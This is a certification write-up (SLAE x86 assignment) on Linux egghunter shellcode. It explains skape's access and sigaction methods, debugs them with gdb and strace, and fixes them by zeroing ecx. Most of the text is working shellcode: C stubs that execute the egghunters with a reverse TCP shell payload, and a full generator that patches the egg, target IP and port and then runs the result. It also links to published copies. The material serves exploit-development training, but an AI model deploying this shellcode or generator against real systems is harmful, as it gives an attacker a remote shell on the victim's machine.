ASM Egghunter (SLAE x86 Assignment #3)

Introduction

This is assignment #3 of the SLAE x86 Exam objectives.

Objectives

  • Study about the Egg Hunter shellcode
  • Create a working demo of the Egghunter
  • Should be configurable for different payloads

Building a task plan and prerequisites

An egghunter, in short, is a specific opcode pattern in memory, which is used in buffer overflow exploitation vectors which are limited in size. For example, in case you have just 30 or 40 bytes to place your shellcode, you could use an egghunter which then jumps to the actual shellcode stored in Virtual Address Space of the process.

Example scenario

Let’s suggest we found a buffer overflow vulnerability, and we have just 30 bytes to place our shellcode. A pseudo-code would look as following:

  • Execute egghunter shellcode, look for a specific predefined specific shellcode pattern in memory (like 0x50905090)
    • <shellcode> (including predefined pattern of 0x50905090)
  • Shellcode executing a shell, prepended with the specific pattern instructions that the egg hunter will look for (i.e. 0x50905090)
    • \x50\x90\x50\x90<shellcode>

So the difference to a regular shellcode is that we place the actual shellcode of the egghunter itself within the memory location we are trying to exploit, usually having a limited buffer size to work with, and the actual shellcode placed in random memory location, prepended with the egghunter pattern so that our egghunter knows what to look for. Once the pattern (egg) is found, the shellcode placed in Virtual Address Space (which does not impose a size limitation) is then executed. It is very important to grasp the above basics prior to proceeding further.

Egghunter shellcode – detailed research

The somewhat holy grail of egghunter shellcoding is considered to be the whitepaper by skape, titled Safely Searching Process Virtual Address Space. The whitepaper far back from 2004 by skape seems to put the basics of the egghunter shellcode method, and could be used as a detailed reference when dealing with either Linux or Windows egghunter shellcode.

The egghunter shellcode whitepaper by skape presents the following 3 syscall methods to place a Linux x86-architecture based egghunter:

System call:access(2)access(2) revisited optimizedsigaction(2)
Size:39 bytes35 bytes30 bytes
Targets:LinuxLinuxLinux
Egg Size:8 bytes8 bytes8 bytes
Executable egg required:YesNoNo
Speed:8 seconds (0x0 . . . 0xbfffebd4)7.5 seconds (0x0 . . . 0xbfffebd4)2.5 seconds (0x0 . . . 0xbfffebd4)
Egghunter Assembly*
*Shellcode Pattern: 0x50905090
















mov ebx,0x50905090
xor ecx,ecx
mul ecx
or dx,0xfff
inc edx
pusha
lea ebx,[edx+0x4]
mov al,0x21
int 0x80
cmp al,0xf2
popa
jz 0x9
cmp [edx],ebx
jnz 0xe
cmp [edx+0x4],ebx
jnz 0xe
jmp edx

xor edx,edx
or dx,0xfff
inc edx
lea ebx,[edx+0x4]
push byte +0x21
pop eax
int 0x80
cmp al,0xf2/usr/include/asm-generic/errno-base.h
jz 0x2
mov eax,0x50905090
mov edi,edx
scasd
jnz 0x7
scasd
jnz 0x7
jmp edi

or cx,0xfff
inc ecx
push byte +0x43
pop eax
int 0x80
cmp al,0xf2
jz 0x0
mov eax,0x50905090
mov edi,ecx
scasd
jnz 0x5
scasd
jnz 0x5
jmp edi





Egghunter Shellcode
(original version)
\xBB\x90\x50\x90\x50
\x31\xC9
\xF7\xE1
\x66\x81\xCA\xFF\x0F
\x42
\x60
\x8D\x5A\x04
\xB0\x21
\xCD\x80
\x3C\xF2
\x61
\x74\xED
\x39\x1A
\x75\xEE
\x39\x5A\x04
\x75\xE9
\xFF\xE2
\x31\xD2
\x66\x81\xCA\xFF\x0F
\x42
\x8D\x5A\x04
\x6A\x21
\x58
\xCD\x80
\x3C\xF2
\x74\xEE
\xB8\x90\x50\x90\x50
\x89\xD7
\xAF
\x75\xE9
\xAF
\x75\xE6
\xFF\xE7
\x66\x81\xC9\xFF\x0F
\x41
\x6A\x43
\x58
\xCD\x80
\x3C\xF2
\x74\xF1
\xB8\x90\x50\x90\x50
\x89\xCF
\xAF
\x75\xEC
\xAF
\x75\xE9
\xFF\xE7


Egghunter Shellcode
(fixed version, 14/07/2021)
; 39 bytes
; No changes
; 37 bytes
; added xor ecx, ecx to avoid invalid parameters to the access syscall
\x31\xC9
\x31\xD2
\x66\x81\xCA\xFF\x0F
\x42
\x8D\x5A\x04
\x6A\x21
\x58
\xCD\x80
\x3C\xF2
\x74\xEE
\xB8\x90\x50\x90\x50
\x89\xD7
\xAF
\x75\xE9
\xAF
\x75\xE6
\xFF\xE7
; 32 bytes
; added xor ecx, ecx to avoid invalid parameters to the access syscall
\x31\xC9
\x66\x81\xC9\xFF\x0F
\x41
\x6A\x43
\x58
\xCD\x80
\x3C\xF2
\x74\xF1
\xB8\x90\x50\x90\x50
\x89\xCF
\xAF
\x75\xEC
\xAF
\x75\xE9
\xFF\xE7


This (kind of, definitely not exhaustively) completes Objective #1.

Assembly code

Method #1 – access(2), 39 bytes

For completing the objectives I will use one of my shellcodes, specifically my Linux/x86 – Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes), and adapt it to use one of the skape’s egghunter shellcode methods.

#include <stdio.h>
#include <string.h>
#include <netdb.h>

unsigned char egghunter[] = \
"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; 

main(int argc, char *argv[])
{

  int (*ret)() = (int(*)())egghunter;

  ret(); 

}

While the above code, using the first egghunter method (39 bytes) seemed to work with no issues, trying the next 2 egghunter shellcodes failed.

Egghunter shellcode – access method (39 bytes)

Method #2 – access(2) revisited, 37 bytes

For some reason, the optimized access egghunter method seemed to be failing on the scas instruction:

=> 0x0804a059 <+25>:	mov    edi,edx
   0x0804a05b <+27>:	scas   eax,DWORD PTR es:[edi] <-- SIGFAULT OCCURS HERE
   0x0804a05c <+28>:	jne    0x804a047 <egghunter+7>

Running this through gdb showed that the edx register is actually pointing to the value 0x1000, while the 0xfff value tries to avoid exactly that and putting the value 4095 (0xfff) instead of 4096 (0x1000) which contains null-bytes:

What the cmp al, 0xf2 instruction does is actually comparing al against the EFAULT error code, and from the access man page:

   access() may fail if:

   EFAULT pathname points outside your accessible address space.

So the comparison seems to be invalid and the code continues within the next branch, where the eax register is filled with the value of our egg (0x50905090)

At this point, it was quite a mystery to figure out what actually happened:

The eax register is filled as our egg as expected, the edx is moved into edi, and there is no direction flag set, however a Segmentation Fault still occurs for whatever reason when jumping to the next instruction. The only difference I could see is the RF flag set after the SIGFAULT (which is a regular occasion once a fault occurs).

Reviewing the output of strace was showing that an invalid argument to the access syscall was being sent:

After reviewing a few write ups it seems that the issue was caused by the fact that the ecx register was not zeroed, and as we could see from the man page access requires a second parameter (int mode):

$ man access
ACCESS(2)                                    Linux Programmer's Manual                                   ACCESS(2)

NAME
       access - check real user's permissions for a file

SYNOPSIS
       #include <unistd.h>

       int access(const char *pathname, int mode);

DESCRIPTION
       access()  checks whether the calling process can access the file pathname.  If pathname is a symbolic link,
       it is dereferenced.

The  mode  specifies  the accessibility check(s) to be performed, and is either the value F_OK, or a mask consisting of the bitwise OR of one or more of
       R_OK, W_OK, and X_OK.  F_OK tests for the existence of the file.  R_OK, W_OK, and X_OK test whether the file exists and grants read, write, and  execute
       permissions, respectively.

       access() returns an error if any of the access types in mode is denied, even if some of the other access types in mode are permitted.

As the original egghunter shellcode was dating back from 2004, the access parameters for the access syscall have either changed or included a default parameter at the time skape wrote the egghunter whitepaper.

I immediately checked the opcode for xor ecx, xor ecx and put it in the beginning of the egghunter shellcode:

~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > xor ecx, ecx
00000000  31C9              xor ecx,ecx
nasm > 

The resulting working egghunter shellcode stub:

#include <stdio.h>
#include <string.h>
#include <netdb.h>

unsigned char egghunter[] = \
"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access(2) revisited (fixed) - 37 bytes
//"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access(2) revisited (original version by skape) - 35 bytes
//"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access(2) method - 39 bytes

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; 

main(int argc, char *argv[])
{

 
  int (*ret)() = (int(*)())egghunter;

  ret(); 

}

The screenshot below demonstrates how the egghunter shellcode iterates through all the memory locations through the Virtual Address Space until it reaches the egghunter:

And a screenshot of the reverse shell being executed on the system once the egg has been found within the Virtual Address Space:

Method #3 – sigaction(2)

In the code below I already have the reverse TCP shellcode assembly, so I’ll just generate and put the sigaction egghunter shellcode to it:

$ cat > egghunter_sa.nasm << EOF
> global _start:
> 
> section .text
> 
> _start:
> or cx,0xfff
> inc ecx
> push byte +0x43
> pop eax
> int 0x80
> cmp al,0xf2
> jz 0x0
> mov eax,0x50905090
> mov edi,ecx
> scasd
> jnz 0x5
> scasd
> jnz 0x5
> jmp edi
> EOF
$ ./compile.sh egghunter_sa
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

$ objdump -d ./egghunter_sa|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep 00 # null-free

$ objdump -d ./egghunter_sa|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o '\x' | wc -l # count bytes
42

$ objdump -d ./egghunter_sa|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x0f\x84\x8d\x7f\xfb\xf7\xb8\x90\x50\x90\x50\x89\xcf\xaf\x0f\x85\x84\x7f\xfb\xf7\xaf\x0f\x85\x7d\x7f\xfb\xf7\xff\xe7"

It seems like due to the environment difference and the compiling and linking process, some additional bytes have been added and the payload became 42 bytes instead of the originally presented 30 bytes. Instead of generating the shellcode based on the asm instructions, let’s use the original opcodes presented by skape:

$ cat > egghunter_shellcode << EOF
> 00000000 6681C9FF0F or cx,0xfff
> 00000005 41 inc ecx
> 00000006 6A43 push byte +0x43
> 00000008 58 pop eax
> 00000009 CD80 int 0x80
> 0000000B 3CF2 cmp al,0xf2
> 0000000D 74F1 jz 0x0
> 0000000F B890509050 mov eax,0x50905090
> 00000014 89CF mov edi,ecx
> 00000016 AF scasd
> 00000017 75EC jnz 0x5
> 00000019 AF scasd
> 0000001A 75E9 jnz 0x5
> 0000001C FFE7 jmp edi
> EOF

$ cat egghunter_shellcode | cut -d ' ' -f2 | tr -d '\n' | sed 's/.\{2\}/\\x&/g' | grep -o '\x' | wc -l
30

$ cat egghunter_shellcode | cut -d ' ' -f2 | tr -d '\n' | sed 's/.\{2\}/\\x&/g'; echo
\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7

Now that we have just 30 bytes of an egghunter shellcode, let’s proceed to adapting it to our C stub and testing it.

#include <stdio.h>
#include <string.h>
#include <netdb.h>

unsigned char egghunter[] = \
"\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method
//"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (fixed) - 37 bytes
//"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (original version by skape) - 35 bytes
//"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; 

main(int argc, char *argv[])
{

 
  int (*ret)() = (int(*)())egghunter;

  ret(); 

}

The sigaction method resulted in a segmentation fault once again:

$ strace ./egghunter

The sigaction call seems to be getting an invalid argument, a very similar case to the issue that was happening in the access(2) revisited shellcode method described above.

sigaction(-1217388556, {0xd1bfe28f, [HUP INT QUIT ILL FPE USR1 ALRM TERM STKFLT CHLD CONT STOP TSTP TTIN TTOU XCPU XFSZ VTALRM PWR SYS RTMIN], SA_SIGINFO|SA_NOCLDSTOP|SA_NOCLDWAIT|0xbfe288}, {0xb7701ff4, [], 0}, 0) = -1 EINVAL (Invalid argument)

Checking its man page shows the following:

$ man sigaction
SIGACTION(2)                                       Linux Programmer's Manual                                      SIGACTION(2)

NAME
       sigaction - examine and change a signal action

SYNOPSIS
       #include <signal.h>

       int sigaction(int signum, const struct sigaction *act,
                     struct sigaction *oldact);

It seems that the egghunter segfault has been caused by the exact same issue,, being the ecx register not zeroed. Putting the opcode once again for xor ecx, ecx at the beginning of the shellcode results in execution of the 32-byte egghunter using the sigaction method:

#include <stdio.h>
#include <string.h>
#include <netdb.h>

unsigned char egghunter[] = \
"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (fixed) - 32 bytes
//"\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (original version by skape - 30 bytes) 
//"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (fixed) - 37 bytes
//"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (original version by skape) - 35 bytes
//"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; 

main(int argc, char *argv[])
{

 
  int (*ret)() = (int(*)())egghunter;

  ret(); 

}

This completes Objective #2 of the assignment.

Building a dynamic egghunter stub

  • TODO

At this point I just needed to pack all this, including the egghunter research and the various egghunter’s shellcodes originally published by skape with the modifications required to work on a modern architecture (being the ecx register zeroed), as well as use one of my previous shellcodes, particularly the Reverse TCP Shell shellcode I coded, resulting in an egghunter Reverse TCP Shell shellcode generator.

The source code of the egghunter shellcode generator:

/***
Linux/x86 - Egghunter Reverse TCP Shell Shellcode Generator with dynamic IP and port Shellcode
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
***/

/*  
	Egghunter payloads from skape modified to work on a modern up to date architecture
	For detailed information on the egghunter payloads and egghunter research refer to the original whitepaper by skape:
	Safely Searching Process Virtual Address Space http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
	Example usage of egghunters https://www.fuzzysecurity.com/tutorials/expDev/4.html
*/

/* Usage: $ gcc -fno-stack-protector -z execstack -o egghunter egghunter_shellcode.c
		      $ ./egghunter 2 3d7xC0D3 192.168.1.137 6666 # This will output AND execute the egghunter! (if you get a seg fault/core dumped error either your shellcode output contains null bytes or you have no idea what you are doing)
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>

void PrintShellcode(unsigned char* s);
void change_shellcode_bytes(unsigned char shellcode[], int offset, int n, unsigned char new[]);
unsigned char* ConvertStrToHex(unsigned char* s);

unsigned char egghunter[][200] = { \
{"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"}, // access method - 39 bytes
{"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"}, //access revisited (fixed) - 37 bytes
{"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"} //sigaction method (fixed) - 32 bytes
};

/* unsigned char egghunter[] = \
"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (fixed) - 32 bytes
//"\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (original version by skape - 30 bytes) 
//"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (fixed) - 37 bytes
//"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (original version by skape) - 35 bytes
//"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes
*/

/* Reverse TCP Shell: 
egg \x90\x50\x90\x50\x90\x50\x90\x50
127.1.1.1 4444 */
unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at eggsize + 26th byte; Port at eggsize + 32nd byte

int eggsize = 4; //default
 
main(int argc, char *argv[])
{
  
  if (argc < 2)
  {
	printf("Usage: %s <egghunter> [egg] [IP] [Port]", argv[0]);
  	printf("\nExample: %s 0 0x9050 127.1.1 4444\n"
		   			"%s 1 AABB 127.1.1.1 4444\n"
  					"%s 2 AABBCCDD 127.1.1.1 4444\n"
  					"%s 2 3d7xC0D3 127.1.1.1 4444\n", argv[0], argv[0], argv[0], argv[0]);
  	printf("\n\nDefault egg: \\x90\\x50\\x90\\x50 (push eax, nop, push eax, nop)"
  			"\nDefault shellcode IP and port 127.1.1.1:4444");
  	printf("\n\nAvailable egghunters:"
  		   "\n0 - access method (39 bytes), requires executable egg"
  		   "\n1 - access revisited (37 bytes)"
  		   "\n2 - sigaction (32 bytes)\n"
  	);
  	
  	return 0;
  }
  
  int eh = atoi((char *)argv[1]);
  if (eh < 0 || eh > 2)
  {
  	printf("Invalid Egghunter: %d!\n", eh);
  	
  	return 0;
  }
  
  if (argc > 2)
  {
  	if (argv[2][0] == '0' && argv[2][1] == 'x') argv[2] += 2;
  	
  	if (strlen(argv[2]) != 4 && strlen(argv[2]) != 8)
  	{
  	  printf("Egg has to be at least 4 or exactly 8 bytes!"
  	  		"\nExample eggs: 9050, 9060, C0D3," 
  	  		"\n				d7xC0D3D, 3d7xC0D3, 3d7xC0D3, 7d7xC0D3"
  	  		"\n"
  	  );
  	  
  	  return 0;
    }
    
    int i;
    for (i = 0; i < strlen(argv[2]); i+=2)
      if (argv[2][i] == '0' && argv[2][i+1] == '0')
      {
        printf("No null bytes!\n");
        return 0;
      }
    
  }
  
  /* change egg if provided */
  int eh_offset = 1;				        // default offset for access method (39 bytes)   
  if (eh == 1) eh_offset = 23;		  // offset for access revisited (37 bytes)
  else if (eh ==2) eh_offset = 18;	// offset for sigaction (32 bytes)
  
  if (argc > 2) {

  	unsigned char* new_egg = argv[2], *s, *tmp;
  	printf("Changing egg to %s...\n", new_egg);

  	s = ConvertStrToHex(argv[2]);
  	tmp = s;

  	
  	//fill buffer - 4 bytes of [egg], then concatenate additional 4 bytes of [egg] (8 bytes) 
  	strcat(tmp, s);
  	if (strlen(argv[2]) == 4) 
  		strcat(tmp, tmp);
  	
  	//PrintShellcode(s);
  	change_shellcode_bytes(egghunter[eh], eh_offset, eh_offset+3, s);
  	change_shellcode_bytes(shellcode, 0, 7, tmp);
  }
  
  printf("Egghunter %d, size %d\n", eh, strlen(egghunter[eh] ) );
  printf("Egghunter shellcode: \n");
  PrintShellcode(egghunter[eh]);
  
  printf("\nReverse TCP Shellcode (%d bytes): \n", strlen(shellcode));
  
  // change shellcode IP address
  unsigned char *s2 = shellcode;
  if (argc > 3)
  {
	  printf("%s\n", argv[3]);
  	
  	// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
    struct sockaddr_in ipaddr;
    inet_aton(argv[3], &ipaddr.sin_addr.s_addr);
    
    
    int i = eggsize*2+26, a;
    int e = i+3;
    
    for (i, a = 0; i <= e; i++, a+=8) 
	  {
		  s2[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ; 
		  printf("Byte %d: %.02x\n", i, s2[i]);
	  }
	  
  }
  
  // change shellcode Port
  int port = 4444; //0x115c - default

  if (argc > 4)
  {
  	port = atoi(argv[4]);
	  unsigned int p1 = (port >> 8) & 0xff;
	  unsigned int p2 = port & 0xff;
   	s2[eggsize*2+32] = (unsigned char){p1};
    s2[eggsize*2+33] = (unsigned char){p2};
  }
  
  printf("Port %d\n", port);
  PrintShellcode(s2);
  
  printf("\n");
  int (*ret)() = (int(*)())egghunter[eh];

  ret(); 

}

void change_shellcode_bytes(unsigned char* shellcode_n, int offset, int n, unsigned char* new)
{
	int i, a;
  for (i = offset, a = 0; i <= n; i++, a++) 
		shellcode_n[i] = (unsigned char) {new[a]}; 
		// printf("Byte %d: %.02x\n", i, shellcode_n[i]);
}

void PrintShellcode(unsigned char* s)
{
	printf("\"");
	while (*s)
		printf("\\x%.02x", (unsigned int) *s++);
		
	printf("\"\n");
}

unsigned char* ConvertStrToHex(unsigned char* s)
{
	if (s[0] == '0' && s[1] == 'x') s += 2;
	unsigned char buf[strlen(s)/2];
	buf[strlen(s)/2] = '\0';

	int len = sizeof(buf);
	size_t count;

	for (count = 0; count < len; count++) {
		sscanf(s, "%2hhx", &buf[count]);
		s += 2;
	}

	return buf;
}

This completes objective #3 of the assignment and completes the overall objective purpose.

Download

Bindshell With Dynamic Port Binding Shellcode (access method: 133 bytes, access revisited: 131 bytes, sigaction: 126 bytes):

PacketStormSecurity:
https://packetstormsecurity.com/files/163543/Linux-x86-Egghunter-Reverse-TCP-Shell-Shellcode.html

Exploit-db:
https://www.exploit-db.com/shellcodes/50141

Github:
https://github.com/d7x/shellcode/blob/main/linux/x86/egghunter_shellcode.c


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690